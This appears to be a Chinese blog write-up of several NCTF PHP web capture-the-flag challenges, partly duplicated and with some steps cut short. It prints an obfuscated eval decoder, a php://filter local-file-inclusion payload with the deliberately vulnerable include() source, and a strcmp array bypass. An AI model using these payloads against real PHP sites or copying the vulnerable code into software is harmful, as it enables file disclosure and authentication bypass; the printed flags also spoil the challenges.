nctf-php
2016-05-04 17:06
701 查看
一:nctf-php-decode
http://ctf.nuptsast.com/challenges#php%20decode
解码
http://ddecode.com/phpdecoder/
对照ascii码表
php info();nctf{gzip_base64_hhhhhh}
二:文件包含
http://ctf.nuptsast.com/challenges#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB
点开http://4.chinalover.sinaapp.com/web7/index.php 有个
click me? no
提示不用点击,好吧,还是点击看看,转到
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
解题方法:
GET or POST
file=php://filter/read=convert.base64-encode/resource=index.php&submit=%E6%8F%90%E4%BA%A4
可获得 base64 编码的 index.php
base64解码
三:听说PHP是世界上最好的语言
http://way.nuptzj.cn/php/index.php
提示:Can you authenticate to this website? index.txt
访问:http://way.nuptzj.cn/php/index.txt
得到
四:http://115.28.150.176/strcmp/index.
98dd
php
改如下,得到flag
五:http://chinalover.sinaapp.com/web11/
提示Do you know robots.txt?
访问http://chinalover.sinaapp.com/web11/robots.txt
改如下,得到flag
http://ctf.nuptsast.com/challenges#php%20decode
<?php function CLsI($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); for ($i = 0; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); } return $ZzvSWE; }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
解码
http://ddecode.com/phpdecoder/
对照ascii码表
php info();nctf{gzip_base64_hhhhhh}
二:文件包含
http://ctf.nuptsast.com/challenges#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB
点开http://4.chinalover.sinaapp.com/web7/index.php 有个
click me? no
提示不用点击,好吧,还是点击看看,转到
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
解题方法:
GET or POST
file=php://filter/read=convert.base64-encode/resource=index.php&submit=%E6%8F%90%E4%BA%A4
可获得 base64 编码的 index.php
base64解码
<html> <title>asdf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag:nctf{edulcni_elif_lacol_si_siht} ?> </html>
三:听说PHP是世界上最好的语言
http://way.nuptzj.cn/php/index.php
提示:Can you authenticate to this website? index.txt
访问:http://way.nuptzj.cn/php/index.txt
得到
<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website?
四:http://115.28.150.176/strcmp/index.
98dd
php
<?php $pass=@$_POST['pass']; $pass1=*;//被隐藏起来的密码 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; } ?> tip:strcmp(array,string)=null=0
改如下,得到flag
五:http://chinalover.sinaapp.com/web11/
提示Do you know robots.txt?
访问http://chinalover.sinaapp.com/web11/robots.txt
改如下,得到flag
相关文章推荐
- PHP 实现代码复用的一个方法 traits新特性
- 用扩展开发一个PHP类
- PHP之命名空间
- 简单好用的时间插件laydate实现开始时间和结束时间的限制
- php 删除文件夹里的图片
- PHP学习笔记——面向对象编程
- laravel框架知识点记录
- 1.live555源码分析----RSTPServer创建过程分析
- PHPCMS手机站点配置
- PHP语言 -- 权限
- xampp无法打开phpmyadmin解决方案
- TP框架实现分页
- php环境配置
- PHP随机数 C扩展随机数
- php访问msSqlServer还是用odbc方式好
- Windows Server 2012无法开启FTP服务器解决办法
- 用FileInputStream和FileOutPutStream读写文件
- PHP中间件--ICE
- tp框架中使用phpexcel导出excel表格
- YII 学习之修改默认控制器